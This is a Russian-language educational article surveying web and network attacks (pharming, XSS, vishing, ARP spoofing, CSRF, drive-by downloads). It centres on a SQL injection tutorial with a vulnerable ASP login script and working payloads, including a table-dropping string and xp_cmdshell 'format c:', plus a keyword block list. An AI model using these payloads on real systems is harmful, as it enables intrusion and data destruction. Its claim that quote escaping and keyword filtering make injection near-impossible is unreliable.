В последнее время появилась еще одна разновидность атаки, называемая Pharming. Сначала машина жертвы заражается специализированным кодом при случайном или спровоцированном посещении определенного сайта. Заражение может быть произведено с использованием неубранных уязвимостей Internet Explorer или любым другим способом. После этого при попытке хозяина зараженной машины подключиться, например, к сайту своего банка (при этом предполагается, что он печатает URL совершенно корректно, или извлекает его из списка часто используемых URL, что снимает всякие сомнения в правильности адреса - ведь клиент им пользовался десятки раз), соединение происходит с жульническим сайтом, который внешне не отличим от настоящего. Сходного результата хакер может добиться, видоизменив содержимое кэша DNS или атакуя сам DNS-сервер клиента. Клиент, ничего не подозревая, может ввести свое имя, пароль, номер кредитной карты и PIN-код, после чего может произойти “разрыв связи” (ведь злоумышленник уже получил то, что хотел), может быть проведена и полная имитация транзакции, которая на самом деле не осуществлена, или средства будут переведены на “счет очень офшорного банка”. Некоторые эксперты относят эту разновидность атак к категории phishing.

BHO

BHO (Browser Helper Object) - небольшие программы, которые мониторируют посещаемые WEB-страницы, включают рекламу или перадресуют запросы, производят автоматически обновление browser или экспортируют данные. Этот тип программ можно отнести к spyware.

На текущий момент число машин, содержащих в себе один или более объектов типа spyware, удваивается каждый год.

Поведение различных видов PUP показано на рис. 10. (По материалам McAffe System (октябрь 2005) .


Рис. 10. Поведение различных PUP
(BHO - Browser Helper Object)


Для иллюстрации актуальности проблемы приведу следующие данные. Представители TJX Companies Inc. признали в среду (28 марта 2007), что данные по крайней мере о 45.7 миллионов кредитных и дебитных карт были украдены за последние 18 месяцев хакерами, которым удалось проникнуть в их сеть. Это крупнейшее похищение данных за всю историю.

По данным компании IDC spyware занимает 4-ю позицию по вредоносности. На первом месте по нанесенному вреду находится программные уязвимости (78000 пострадавших машин), наименьший ущерб из числа проанализированных угроз получен от adware (Save Now - 14000 пострадавших машин). По данным ФБР spyware наносит ущерб бизнесу в США на уровне 67 млрд. долларов в год (2007 год).

Если раньше борьба за безопасность разворачивалась на уровнях L3-L4, то теперь она переместилась на прикладной уровень и новые Firewall должны это учитывать.

Старые Firewall в новых условиях уже не могут обеспечить требуемый уровень безопасности. Адекватные разработки начали появляться на рынке. Новый подход получил название Negative Security Model. В этом подходе вредоносный трафик блокируется, если окажется идентифицирован. Идентификация при этом происходит на уровне поля данных, а не только заголовков пакетов. Но по своей природе данная модель противодействия атакам реактивна и для того, чтобы она могла работать, нужно составить описание сигнатуры атаки.

Среди угроз Web 2.0 можно назвать:

Целевые атаки (targeted)

Практически все средства сетевой защиты ориентированы на атаки общего типа, ненацеленные на конкретную жертву. Именно неспецифические атаки составляют более 90% всех разновидностей сетевых атак, например, атаки, целью которых является создание botnet. Если же хакер готовит атаку на конкретную сеть, сервер или рабочую станцию, такая атака может быть несравненно более вредоносной по сравнению с атаками общего типа. Многое зависит от конечной цели хакера. Он в начале тщательно изучает объект-жертву, определяет используемый тип ОС, список работающих сетевых приложений (сканирование портов), перечень посещаемых WEB-узлов, список клиентов, с которыми жертва поддерживает переписку и т.д. Это может занять достаточно много времени и может быть выявлено с помощью IDS. После этого хакер создает копию такого сервера или сети и подбирает средства вторжения. При этом им могут быть написаны и отлажены специфические программы для вторжения в систему. Могут быть посланы письма, содержащие вредоносные коды или ссылки на зараженные сайты, от имени легальных партнеров жертвы (в надежде, что жертва окажет содействие атакеру), сформированы копии WEB-сайтов посещаемые жертвой. Но могут быть предприняты и прямые атаки с привлечением техники SQL-injection, подбора пароля (хотя это надо признать не слишком профессиональным, так как легко детектируется) и пр.

Если эти меры окажутся недостаточными и оператор машины-жертвы не попадет в расставленные ловушки, хакер предпринимает атаку непосредственно на машину-жертвы. Обычно атака предпринимается с другой машины, взломанной ранее в результате неспецифической атаки. Причем хакер и жертва могут быть разделены целой цепочкой таких взломанных машин, что делает вероятность детектирования исходного адреса хакера ничтожно малой. Успех хакера при такой атаке практически гарантирован, а сама процедура взлома занимает от 30 до 200 секунд. Хакер может установить на машине жертвы rootkit, скопировать интересующие его файлы и выполнить любую другую вредоносную работу. Им могут быть отредактированы журнальные файлы машины-жертвы, что сделает трудным даже установление самого факта взлома. Смотри Tageted cyber attacks (GFI Security Ebook).

Тенденции сетевой безопасности в 2008 году

Смотри Top 10 Security Trends for 2008.

В настоящее время выделяются пять основных угроз для VoIP (телефония, Skype):

  1. Наиболее серьезной угрозой для предприятий, использующих каналы SIP и UC для мобильных коммуникаций, является DoS (Denial of Service) и DDoS-атаки сетей VoIP.
  2. Объектами атак становятся HTTP или иные информационные службы, реализующие VoIP для конечных пользователей.
  3. Хакерское сообщество, имеющее опыт в использовании уязвимостей в других продуктах Microsoft, может обратить внимание на Microsoft OCS (Office Communication Server), используя преимущество своего UC-доступа к общедоступной системе IM, почте и спискам общения, чтобы сформировать botnet и начать атаки.
  4. Хакеры могут установить больше IP PBX для vishing/phishing. Из-за простоты и легкости заработка атаки следует ожидать увеличения vishing-атак на банки. Этому способствует относительная безопасность таких атак.
  5. Следует ожидать увеличения VoIP-атак против сервис-провайдеров с помощью доступных анонимных SIM-карт. С помощью UMA (Unlicensed Mobile Access), достаточно широко используемых в последнее время, клиенты получают прямой IP-доступ к сети мобильной связи, что упрощает фальсификация идентификационных параметров и создание нелегальных акаунтов, позволяющих реализовать различные атаки.

Vishing

Vishing представляет собой криминальное действие, использующие социальную инженерию и VoIP (Voice over IP), с целью получения доступа к персональным и финансовым данным для достижения личного обогащения. Термин представляет собой комбинацию слов "voice" и phishing. Vishing эксплуатирует общественное доверие к публичным телефонным сервисам, которые предполагают в качестве терминальных пользователей клиента и сервис провайдера. Жертва часто даже не предполагает, что VoIP позволяет фальсифицировать ID клиента, и нарушить анонимность. Vishing часто используется для кражи номеров кредитных карт и другой информации, которая используется в различных схемах кражи идентификационных частных данных.

Vishing достаточно сложно отслеживать различным официальным службам, призванным обеспечивать безопасность. Для защиты от потерь клиентам настоятельно рекомендуется быть крайне подозрительными, когда они получают адресованное им сообщение с просьбой сообщить номер кредитной карты или номер счета. Клиентам рекомендуется в таких случаях немедленно связаться со своей кредитной или банковской компанией, чтобы проверить легальность подобного сообщения.

Существует технология мониторинга всего PSTN-трафика, которая позволяет выявить vishing-попытки путем распознавание некоторых сигнатур и аномалий активности запросов. Примером может служить многократные запросы с ограниченного числа skype-номеров в коммуникационный центр. Преступник программирует свою систему так, чтобы она осуществляла телефонные вызовы для определенной зоны или контактировала с легальным центром голосовой связи согласно списку телефонных номеров, украденных в финансовом учреждении.

Когда жертва отвечает на вызов, ему воспроизводится текст, генерируемый часто голосовым синтезатором, и предупреждающий клиента о подозрительных и необычных операциях с его счетом. Сообщение инструктирует клиента позвонить немедленно по предлагаемому номеру, который может быть похож или совпадать с номером финансовой организации.

Когда клиент-жертва звонит по указанному номеру, ему отвечает программа-робот, которая инструктирует клиента сообщить номер своего счета и кредитной карты. Эта информация записывается и используется в дальнейшем для получения средств со счета жертвы. Во время такого вызова клиента могу попросить указать дату своего рождения, адрес, время истечения срока действительности кредитной карты и ее PIN-код. В таком вызове обычно требуется осуществить все указанные действия немедленно, чтобы минимизировать влияние указанных подозрительных операций, а на самом деле, чтобы исключить возможность каких-либо проверок легальности запроса.

Вредоносные программы, сопряженные с Web

Уязвимости, сопряженные с WEB, остаются мертвой зоной многих программ безопасности. Многие приложения не способны анализировать данные, полученные в результате посещения WEB-сайта. Обычно хакеры с помощью JavaScript добавляет код к WEB-странице. Когда ничего неподозревающий пользователь заходит на зараженный сайт, браузером запускается JavaScript, который загружает вредоносный код в машину пользователя. Считается, что 450000 URL указывают на вредоносные сайты. Ниже приведены примеры зараженных WEB-сайтов.

Примеры вредоносных HTML и JavaScript-кодов


Слева (А) представлена вредоносная ссылка из iframe, которая при просмотре загружает вредоносный код. Справа (В) показан вариант JavaScript, который выполняет ту же функцию, что и "A", но его более трудно распознать, что создает трудности для сканеров вредоносных кодов на WEB-сайтах. Смотри Not all malware detection is created equal. Ниже предстален исходный текст скрипта для атаки Gumblar (A), в секции (B) представлен текст обработанный вручную, что позволяет понять его назначение - загрузка вредоносного кода с удаленного сайта.

Примеры вредоносных HTML и JavaScript-кодов

Большинство браузеров выявляют наличие JavaScript и запрашивают у пользователя разрешения для их запуска. Новейшие версии, например, фирмы Sophos, умеют также выявлять вредоносные и потенциально опасные скрипты. Проблема в том, что в локальной сети обычно имеется масса пользователей, которые беззаботно загружают самые разные WEB-приложения, нисколько незаботясь о безопасности своей машины и сети в целом. Хотелось бы посмотреть на сетевого администратора, который бы решился заблокировать такую возможность...

Еще несколько лет назад мир был разделен границами стран, городов и компаний. В качестве пограничных застав использовались Firewall и шлюзы и никакой посторонний трафик не мог войти и выйти, не имея специального разрешения. Сегодня мир стал плоским, а границы стали размыты и уязвимы. Новые приложения, социальные сети (Twitter, Facebook и пр.) и блоги стали новыми источниками уязвимостей.

Службы новостей RSS/ATOM

Примерно 12% клиентов в сети пользуются услугами получения новостей в реальном масштабе времени RSS/ATOM. Большинство этих людей даже не догадываются, каким угрозам подвергают свою машину. Первые вредоносные программы этого типа были разработаны еще в 1995 году. Последними жертвами этого типа атаки стала AOL ICQ.

XSS Scripting

Cross-site scripting (XSS, иногда используется и сокращение CSS) представляет собой уязвимость web-приложений, которая позволяет внедрение вредоносного кода web-пользователями (хакерами) в WEB-страницы, просматриваемые другими пользователями (1996 год). Примеры таких кодов включают в себя HTML-код и скрипт для стороны клиента. Практические реализации программ, использующих эту уязвимость могут использоваться хакерами, например, чтобы обойти систему управления доступом. Уязвимости этого типа используются при фишинг-атаках в частности Web 2.0 объектов. Примерами атак этой уязвимости являются червь MySpace XSS и XSS Yahoo. К данной разновидности следует отнести многие уязвимости WEB-сайта YouTube Google. XSS реализуется, когда приложение предполагает определенный тип ввода, а вместо этого хакрер посылает код другого вида, который приложение вынуждено обрабатывать. При этом часто крадется cookie пользователя.

XSS-уязвимости можно разделить на два типа: рефлективные и с запоминанием. В рефлективных не производится запоминания входных данных, за то производится немедленное их отображение. Это могут быть поисковые страницы, где отображаются параметры запроса поиска, страницы уведомления об ошибках, когда отображается URL или имя запрошенной страницы. При этом типе уязвимости вредоносный скрипт поступает к жертве в виде указания на уязвимое WEB-приложение через посредство, например, почты. Скрипт при этом встраивается непосредственно в URL. К уязвимостям с запоминанием относятся все случаи, в которых вредоносный ввод запоминается где-то в WEB-приложении, ожидая, когда пользователь исполнит скрипт. Примеры XSS часто включают в себя сайты, которые допускают WEB-приложениям пользователя передать сообщения или комментарии, позднее читаемые другими пользователями. Схема такой атаки показана на рисунке ниже. Строки кодов, поясняющие методы XSS-атак, можно найти в ссылке, размещенной в начале данной статьи. Там же описаны методы противодействия этому виду атак.

Схема XSS-атаки

Практический пример ("A Pragmatic, Policy-Driven Framework for Protection Against Cross-Site Scripting by Joseph Gugeja and Geraint Price)


Ниже на рисунке показаны схемы кражи куки пользователя.

Схемы кражи куки при XSS-атаке

  1. Атакер помещает вредоносный код на взломанны WEB-сайт
  2. Пользователь посещает это WEB-сайт и предоставляет свое куки
  3. WEB-сайт позволяет пользователю авторизоваться
  4. Вредоносный код посылает куки пользователя атакеру

SQL Injection

Материалы этой статьи базируются на публикации Митчела Харпера (Mitchel Harper).

Базы данных являются основой многих современных Web приложений, а также файловых систем некоторых ОС. В них хранятся параметры доступа и аутентификации, финансовая информация. Базы данных служат для сохранения предпочтений, счетов, платежей, инвентаризационной информации и многого другого. Базы данных в сочетании с различными скриптами делают Web-сайты комфортными для клиентов.

Но именно атаки типа SQL injection превращают сайты, использующие базы данных, в уязвимые объекты. В 2008 году этот вид атаки стал самым массовым. Смотри www.veracode.com/security/sql-injection.

Что представляет собой атака SQL Injection?

SQL является базовым языком запросов современных баз данных. Он имеет много модификаций, большинство из которых базируются на стандарте SQL-92 ANSI. SQL-запрос содержит в себе одну или более SQL-команду, такую как SELECT, UPDATE или INSERT. Схема атаки SQL-injection показана на рисунке ниже.

Схема атаки SQL-injection (Microsoft Security Intelligence Report. Volume 8. July through December 2009)


Для запросов SELECT типичным является возврат некоторых данных, например:

SELECT * FROM Users WHERE userName = 'justin';

В приведенном SQL запросе фраза WHERE username = 'justin', означает, что нужны строки из таблицы Users, для которых поле userName содержит строку Justin.

Именно такие запросы позволяют реализовать атаки типа SQL injection. Из названия атаки следует, что злоумышленник вкладывает нечто в SQL запрос. Вложение некоторых неожиданных кодов позволяет манипулировать базой данных.

Одним из популярных способов контроля доступа к Web-сайту является снабжение его HTML формой, куда пользователь вводит свое имя и пароль. Примером реализации такой формы может быть следующий HTML код:

Username: Password:

Когда содержимое формы передано серверу (выполнена операция submit), содержимое полей username и password передается, например скрипту login.asp, и становится доступным скрипту в рамках набора Request.Form. Простейшим способом проверки прав доступа конкретного пользователя является посылка соответствующего SQL запроса. Скрипт login.asp может иметь вид:

<% dim userName, password, query 
dim conn, rS 
userName = Request.Form("userName") 
password = Request.Form("password") 
set conn = server.createObject("ADODB.Connection") 
set rs = server.createObject("ADODB.Recordset") 
query = "select count(*) from users where userName='" &  
userName & "' and userPass='" & password & "'" 
conn.Open "Provider=SQLOLEDB; Data Source=(local);  
Initial Catalog=myDB; User Id=sa; Password=" 
rs.activeConnection = conn 
rs.open query 
if not rs.eof then 
response.write "Logged In" 
else 
response.write "Bad Credentials" 
end if %>

В выше представленном примере пользователь получит уведомление "Logged In", если его параметры содержатся в базе данных, либо "Bad Credentials", если это не так.

Создадим базу данных пользователей с несколькими записями:

create database myDB 
go 
use myDB 
go 
create table users 
( userId int identity(1,1) not null, 
userName varchar(50) not null, 
userPass varchar(20) not null ) 
insert into users(userName, userPass) values('john', 'doe') 
insert into users(userName, userPass) values('admin', 'wwz04ff') 
insert into users(userName, userPass) values('fsmith', 'mypassword')

Таким образом, если мы введем имя пользователя john и пароль doe, мы получим отклик "Logged In". Запрос при этом может иметь вид:

select count(*) from users where userName='john' and userPass='doe'

Но если ввести имя john и пароль ' or 1=1 --

Результирующий запрос приобретет форму:

select count(*) from users where userName='john' and userPass=''  
or 1=1 --'

Такой запрос проверяет любого пользователя с полем имени john. Вместо проверки пароля, запрос ищет пустой пароль или выполнение условия 1=1. Это означает, что, если поле пароля пусто или 1 равна 1 (что всегда верно), тогда из таблицы пользователя будет выбрана соответствующая строка. Обратите внимание, что последняя кавычка закомментирована строчными разграничителем комментария (--). Это блокирует посылку ASP сообщения об ошибки из-за отсутствия закрывающей кавычки.

Скрипт login.asp, представленный выше, вернет одну строку и сообщение "Logged In". Можно проделать тоже самое с полем имени пользователя:

Username: ' or 1=1 --- 
Password: [Empty]

Это приведет к формированию запроса:

select count(*) from users where userName='' or 1=1 --' and userPass=''

Этот запрос вернет число всех строк в таблице пользователей. Это является примером атаки SQL injection: добавление кода, который манипулирует содержанием запроса с целью получения нужного хакеру результата.

Другой популярный способ сверки имени пользователя по login-таблице и получения правильного имени из базы данных представлен ниже:

query = "select userName from users where userName='" &  
userName & "' and userPass='" & password & "'" 
conn.Open "Provider=SQLOLEDB; Data Source=(local);  
Initial Catalog=myDB; User Id=sa; Password=" 
rs.activeConnection = conn 
rs.open query 
if not rs.eof then 
response.write "Logged In As " & rs.fields(0).value 
else 
response.write "Bad Credentials" 
end if

Итак, если мы введем имя пользователя john и пароль doe, то получим:

Logged In As john

Однако, если использовать в запросе другие параметры:

Username: ' or 1=1 --- 
Password: [Anything]

Далее мы будем идентифицированы в качестве John, так как строка с именем John присутствует первой в списке:

insert into users(userName, userPass) values('john', 'doe') 
insert into users(userName, userPass) values('admin', 'wwz04ff') 
insert into users(userName, userPass) values('fsmith', 'mypassword')

Еще один сходный пример

SQL сервер, наряду с другими базами данных, разделяет запросы с помощью точки с запятой. Использование точки с запятой позволяет передать несколько запросов в одном блоке и исполнить их одновременно, например, запрос:

select 1; select 1+2; select 1+3; 

...должен вернуть три набора записей. Первая будет содержать 1, вторая - 3, а третья - 4, и т.д.. Таким образом, если вы вошли в систему со следующими параметрами доступа:

Username: ' or 1=1; drop table users; -- 
Password: [Anything] 

Тогда запрос выполнит две вещи. Во-первых, будет выбрано поле userName для всех строк таблицы пользователей. Во-вторых, он сотрет таблицу пользователей, так что когда мы попытаемся войти в систему в следующий раз, то получим следующий сигнал ошибки:

Microsoft OLE DB Provider for SQL Server (0x80040E37) 
Invalid object name 'users'. 
/login.asp, line 16

Пример 2

Но помимо проблем описанных выше имеются и другие способы вторжения. Вам, вероятно, много раз приходилось заходить на сайты, которые торгуют автомобильными запасными частями или компьютерной техникой, например:

www.mysite.com/products.asp?productId=2

Очевидно, что 2 является идентификатором конкретного объекта, и многие сайты формируют запросы, используя идентификатор productId в качестве переменной запроса, например:

Select prodName from products where id = 2

Прежде чем мы продолжим, предположим, что у нас имеется следующая таблица на нашем SQL-сервере:

create table products 
( id int identity(1,1) not null, 
prodName varchar(50) not null, ) 
insert into products(prodName) values('Pink Hoola Hoop') 
insert into products(prodName) values('Green Soccer Ball') 
insert into products(prodName) values('Orange Rocking Chair')

Предположим также, что мы создаем следующий ASP-скрипт, и вызываем products.asp:

<% 
dim prodId 
prodId = Request.QueryString("productId") 
set conn = server.createObject("ADODB.Connection") 
set rs = server.createObject("ADODB.Recordset") 
query = "select prodName from products where id = " & prodId 
conn.Open "Provider=SQLOLEDB; Data Source=(local);  
Initial Catalog=myDB; User Id=sa; Password=" 
rs.activeConnection = conn 
rs.open query 
if not rs.eof then 
response.write "Got product " & rs.fields("prodName").value 
else 
response.write "No product found" 
end if 
%>

Итак, если заходим на products.asp со следующим URL:

http://localhost/products.asp?productId=1

... на нашем броузере мы увидим следующую строку текста:

Got product Pink Hoola Hoop

Заметим, что в данном случае product.asp присылает поле из набора записей, основываясь на имени этого поля:

response.write "Got product " & rs.fields("prodName").value

Это может показаться вполне безопасным, хотя таковым и не является, так как вы можете достаточно произвольно манипулировать базой данных. Заметим, что условие WHERE запроса использует числовой параметр:

query = "select prodName from products where id = " & prodId

Для того чтобы страница products.asp page функционировала корректно, нужно лишь передать числовой идентификатор продукта в качестве параметра запроса. Вообще говоря, это не слишком серьезная проблема. Рассмотрим обработку следующего URL products.asp:

http://localhost/products.asp?productId=0%20or%201=1

Примерно %20 URL кодируют символ пробела, так что в действительности URL выглядит как:

http://localhost/products.asp?productId=0 or 1=1

Когда обработка производится products.asp, запрос будет иметь вид:

select prodName from products where id = 0 or 1=1

Зная правила URL-кодирования, мы можем легко извлечь содержимое поля названия товарара из таблицы товаров:

http://localhost/products.asp?productId=0%20having%201=1

это вызовет следующее сообщение об ошибке в броузере:

Microsoft OLE DB Provider for SQL Server (0x80040E14) 
Column 'products.prodName' is invalid in the select  
list because it is not contained in an aggregate  
function and there is no GROUP BY clause. 
/products.asp, line 13

Теперь, мы можем взять содержимое поля имени товара (products.prodName) и осуществить следующий запрос:

http://localhost/products.asp?productId=0;insert%20into%20products 
(prodName)%20values(left(@@version,50))

Этот запрос не использует кодирования пробелов:

http://localhost/products.asp?productId=0;insert into  
products(prodName) values(left(@@version,50))

Вообще такой запрос пришлет оклик "No product found" (товар не найден), однако он выполнит операцию INSERT для таблицы товаров, добавив первые 50 символов переменной @@version SQL-сервера (эта переменная содержит данные о версии SQL-сервера и т.д.) в качестве новой записи в таблицу товаров.

В реальной ситуации вы можете модифицировать таблицу товаров произвольным образом, используя и другие поля таблицы.

Получение значения версии теперь становится простым делом, достаточно обратиться к products.asp со значение последнего ввода в таблицу товаров:

http://localhost/products.asp?productId=(select%20max(id) 
%20from%20products)

Этот запрос берет ID последней введенной строки, используя функцию MAX SQL-сервера. В результате вы получите выдачу:

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)

Предотвращение атак SQL Injection

Если вы тщательно разрабатываете скрипты и приложения, атаки SQL injection будут мало вероятны. Существует много вещей, которые разработчики могут сделать, чтобы уменьшить угрозу атаки сайта.

Ограничить доступ пользователей

Системный аккоунт по-умолчанию для SQL сервера 2000 не должен использоваться. Не следует заводить специальных аккоунтов для специальных целей.

Например, если вы работаете с базой данных, где разрешен доступ пользователей к таблицам заказа товара, тогда вам следует сформировать пользователя с именем webUser_public, который имеет права SELECT для таблицы товаров, и права INSERT для таблицы заказов.

Если вы не используете расширенные процедуры, имеете неиспользуемые триггеры или функции, определенные пользователем и т.д., удалите их или перенесите на изолированный сервер. Большинство наиболее разрушительных атак SQL injection пытаются использовать несколько расширенных, запомненных процедур, таких как xp_cmdshell и xp_grantlogin, таким образом, удаляя их, вы теоретически блокируете атаку до ее попытки.

Escape Quotes

Как мы видели из примеров, обсужденных, большинство атак инжекции требуют, чтобы пользователь завершал выражение одиночной кавычкой. Используя простую функцию замещения и преобразуя одиночные кавычки в двойные, вы заметно уменьшите вероятность успешной атаки.

Используя ASP, очень просто сформировать общую функцию подмены, которая будет иметь следующий вид:

<% 
function stripQuotes(strWords) 
stripQuotes = replace(strWords, "'", "''") 
end function 
%>

Теперь, если вы используете функцию stripQuotes в сочетании с нашим первым вариантом запроса, тогда последует:

select count(*) from users where userName='john' and  
userPass='' or 1=1 --'
или:
select count(*) from users where userName='john'' and  
userPass=''' or 1=1 --'

Это сделает атаки injection практически невозможными, так как ограничение WHERE теперь требует одновременной корректности полей userName и userPass.

Удалить потенциально опасные символы и символьные последовательности

Как было показано выше, определенные символы и последовательности символов, такие как ;, --, select, insert и xp_, могут использоваться для реализации атаки SQL injection. Удаляя эти символы и сочетания символов из входного потока пользователя до формирования запроса, мы можем уменьшить шанс подобной атаки в будущем.

Как в случае с одиночной кавычкой для обработки всего этого нам нужна базовая функция:

<% 
function killChars(strWords) 
dim badChars 
dim newChars 
badChars = array("select", "drop", ";", "--", "insert",  
"delete", "xp_") 
newChars = strWords 
for i = 0 to uBound(badChars) 
newChars = replace(newChars, badChars(i), "") 
next 
killChars = newChars 
end function 
%>

Использование stripQuotes в сочетании с killChars существенно уменьшает шанс успеха любой атаки SQL. Так, если мы имеем запрос:

select prodName from products where id=1; xp_cmdshell 'format  
c: /q /yes '; drop database myDB; --

и реализуем его через stripQuotes и далее killChars, он завершится примерно следующим образом:

prodName from products where id=1 cmdshell ''format c:  
/q /yes '' database myDB

...что в принципе бесполезно, так как не возвращает никакой информации.

Ограничьте длину ввода для пользователя

Не разумно иметь текстовое поле формы, допускающее ввод 50 или более символов, если размер эталонной строки не превышает 10.

Если вы воспринимаете строку запроса для ID товара или в качестве функции фильтрации (проверки) входных данных, например, IsNumeric() для ASP. Так если величина не является числовой, генерируется ошибка либо пользователь переадресуется на другую страницу, где он сможет выбрать нужный ему товар.

Старайтесь переправлять вашу форму с привлечением метода POST, что не даст пользователям возможности отслеживать параметры формы, следующие в конце URL.

Атака SQL injection возможна и в случае MySQL, Oracle и любой другой базы данных. Смотри также An Anatomy of a Web Hack: SQL Injection Explained. Для обеспечения противодействия атакам SQL-injection нужно тщательно отлаживать скрипты, выполняющие обработку SQL-запросов, в особенности в части обработки параметров запроса.

ARP-spoofing

Атака ARP spoofing (ARP-фальсификация), известна также под названиями ARP flooding ("наводнение"), ARP poisoning ("отравление") или ARP poison routing (APR - вредоносная переадресация), является технологией атак локальных сетей (LAN). Смотри, например, соответствующую статью в Wikipedia. ARP spoofing позволяет хакеру перехватывать информационные пакеты в LAN, модифицируя или даже блокирую трафик. Атака может быть предпринята только против сети, где используется протокол ARP (Address Resolution Protocol). В частности этот метод не работает для сетей, работающих с IPv6.

В случае ARP spoofing атакер посылает фальсифицированный ARP-запрос. Главная цель хакера установить связь между MAC-адресом его машины и IP-адресом другого компьютера (например, сетевого шлюза).

Если такое хакеру удастся, то все пакеты, адресованные сетевому шлюзу, будут посылаться машине хакера. Атакер может переадресовывать эти пакеты настоящему шлюзу или модифицировать данные перед последующей переадресацией (атака человек-по-середине). Атакер может предпринять D0S-атаку против машины жертвы, подменив МАС-адрес шлюза на МАС-адрес машины жертвы.

Может показаться, что такая атака слишком рискована, так как машина атакера может быть легко локализована, так как она должна размещаться внутри атакуемой LAN. Но это не всегда так, ведь атакер может действовать из взломанной ранее машины.

Фальсификация межсайтовых запросов CSRF (Cross-Site Request Forgeries)

Уязвимости CSRF часто путают с XCC. Однако CSRF не полагается на активные скрипты стороны клиента, вместо этого CSRF использует для выполнения нежелательных действий соединение клиента с вредоносным WEB-сайтом. Примером использования этой уязвимости можно назвать phpMyAdmin (CVE-2006-5116). В этом примере удаленный атакер выполняет неавторизованные действия, прикидываясь одним из пользователей и установив ссылку на специально созданный URL. Известны случаи реализации CSRF при работе с DSL-маршрутизатором. Смотри Cross-site request forgery.

В случае CSRF невинные на вид сайты генерируют запросы к различным другим сайтам, эти атаки используют уязвимости, например, в Twitter, позволяя владельцам сайтов получать данные о профайлах посетителей Twitter.

Обход фильтра XSS

Огромное число атак, основанных на XSS, вынудило сетевых администраторов использовать специальные фильтры. Это достаточно эффективное средство против XSS за исключением случаев, когда WEB-сайт должен поддерживать многонациональных пользователей. Это связано с тем, что большинство XSS-фильтров предполагают использование определенного символьного набора для заданного языка. Чтобы обойти XSS-фильтр хакер просто производит переключение, например с UTF-8 на US-ASCII.

Экспоненциальные атаки XSS

В то время как традиционные XSS атаки нацелены на одного пользователя, экспоненциальные атаки имеют целью сотни, а то и тысячи пользователей. Примером такой атаки можно считать "Nduja Connection", которая является червем, который нацелен на почтовые WEB-системы. Программа берет все почтовые контакты пользователя, а затем рассылает себя всем этим адресатам.

Использование фальсификации заголовков запросов

Flash является популярным дополнением Adoba для браузеров. Было обнаружено, что эта утилита позволяет посылать заголовки HTTP-запросов из скриптов, использующих Flash Action Script. Возможность для хакеров заставить браузер жертвы посылать HTTP-запросы третей стороне имеет серьезные последствия для безопасности.

Браузеры накладывают ограничения на размер вредоносного кода, который может быть послан внутри фальсифицированного заголовка запроса. Такое ограничение снижает риск последней уязвимости Apache Expect Header. Но Flash позволяет хакерам обойти это ограничение путем упаковки фальсифицированных запросов в Flash-файл. Специальным образом подготовленный Flash-файл доставляет вредоносный код атакуемому браузеру, что увеличивает риск успешной атаки Apache.

Черные ходы в медиа-файлах

Использование скриптовых возможностей одного продукта для реализации уязвимости в другом довольно широко используется в Web 2.0. Потенциально это может даже привести к выявлению черных ходов в pdf-файлах. Следует помнить, что pdf-файлы могут содержать в себе JavaScript'ы. В последнее время стала рассматриваться возможность обнаружения черных ходов в MP3-файлах.

Первым рубежом обороны следует считать написание безопасных прикладных программ. Это предполагает тщательную отладку и проверку на корректность алгоритма с помощью code-checker'а. Использование асинхронных языков программирования, таких как AJAX сильно осложняет задачу. Здесь традиционные методы ручной отладки становятся неэффективными.

В мире Web 2.0 содержимое сайта задается администратором и другими людьми, которые посещали сайт. Web-система должна обязательно фильтровать URL и осуществлять репутационный контроль, чтобы исключить занесение вредоносных кодов.

Традиционный сигнатурный анализ атак становится все менее эффективным. Тем более что достаточно легко модифицировать сигнатуру, сделав ее неузнаваемой. Сигнатурный анализ вряд ли сможет сегодня предотвратить вторжение, но может составить список клиентов с "дурной" репутацией, доступ которых следует ограничить.

Сегодня должен контролироваться весь не только внешний трафик, но внутренний трафик на предмет содержания вредоносных кодов. Современные системы противодействия вредоносным кодам могут включать в себя подсистемы фильтрации Cookie и заголовков.

Атаки "Drive-by Download"

Если еще совсем недавно наиболее эффективным спостобом распространения вредоносных кодов была электронная почта, то начиная с 2002 года на лидирующие позиции вышла WEB-технология и IM. Смотри секцию раздела-обзора о тенденциях в сфере атак во второй половине 2009 г (лаб. Касперского. Ryan Naraine)..

Главным образом это связано с широким распространением атак типа "Drive-by Download". Схема такой атаки показана ниже на рисунке.

Схема атаки "Drive-by Download"

Занесение вредоносного кода происходит следующим образом. Пользователь заходит на легальный сайт, зараженный ранее. Оттуда он переадресуется по цепочке сайтов и попадает в конце концов на сервер, откуда производится загрузка вредоносного кода. В такой схеме достаточно трудно отследить инициатора вторжения, а количество зараженных машин определяется числом клиентов, заходящих на зараженные сайты. Чем популярнее и официальнее сайт, тем заражений больше. При этом могут атаковаться уязвимости браузера, необновленные plug-in, уязвимое управление ActiveX и т.д.

Общеизвестен факт стремительного роста атак типа phishing. Но в последнее время такие атаки становятся все более изощренными. Например, посылается сообщение одному из руководителей фирмы как бы от имени налогового ведомства (в США - IRS). Сообщение выглядит как жалоба наблюдателей BBB (Better Business Bureau). Предполагается, что собственно жалоба клиента лежит в приложении. Все это имеет логотипы соответствующих организаций и располагает к доверию. Менеджер, открыв приложение, убедится, что жалоба ничтожная и тут же о ней забывает, но при открытии приложения на его машине уже установлен троянский конь и цель хакера достигнута. Бывают аналогичные сообщения как бы из Федеральной торговой комиссии (FTC) c жалобой клиента на работу компании.

Загружаемый троянский конь может выкрасть из файлов менеджера критическую для компании информацию и переслать на машину-зомби. Таким образом, прямое отслеживание источника атаки невозможно, даже если она детектирована. Сценарии же подобных атак могут варьироваться в широких пределах. Могут предприниматься попытки переслать данные вполне добропорядочным фирмам, чтобы их скомпрометировать.

Мало-помалу сформировался список наиболее опасных атак (эффективных способов вторжения).

Тип атаки Преступная цельКак это реализуется
Отравление cookieкража идентичности
перехват сессии
Многие WEB-приложения используют cookie для спасения информации, такой как ID-пользователя или временные метки, на машине клиента. Но эти cookie не всегда защищены криптографически, в результате хакер может их модифицировать и обмануть приложение, изменяя содержимое cookie. Хакер в результате может получить доступ к аккаунтам других людей и выполнить, например, покупку или денежный трансфер.
Манипуляция со скрытыми полямиЭлектронная
торговля
Продавцы часто используют скрытые поля для хранения информации о сессии клиента, исключая необходимость поддерживать сложную базу данных на стороне сервера. Многие используют также такие поля для записи цен товаров. На незащищенных сайтах хакер может просмотреть код страницы, выявить эти скрытые поля и изменить значение цены. При этом он не только купит товар или услугу по заниженной цене, но и может получить сдачу.
Вариация параметровМошенничествоМногие приложения не способны проверить корректность параметров CGI-скрипта, содержащие URL. В результате хакер может легко поменять параметры. Это может позволить хакеру, например, обойти страницу аутентификации и получить доступ к критической для пользователя информации, например, к его счету в банке.
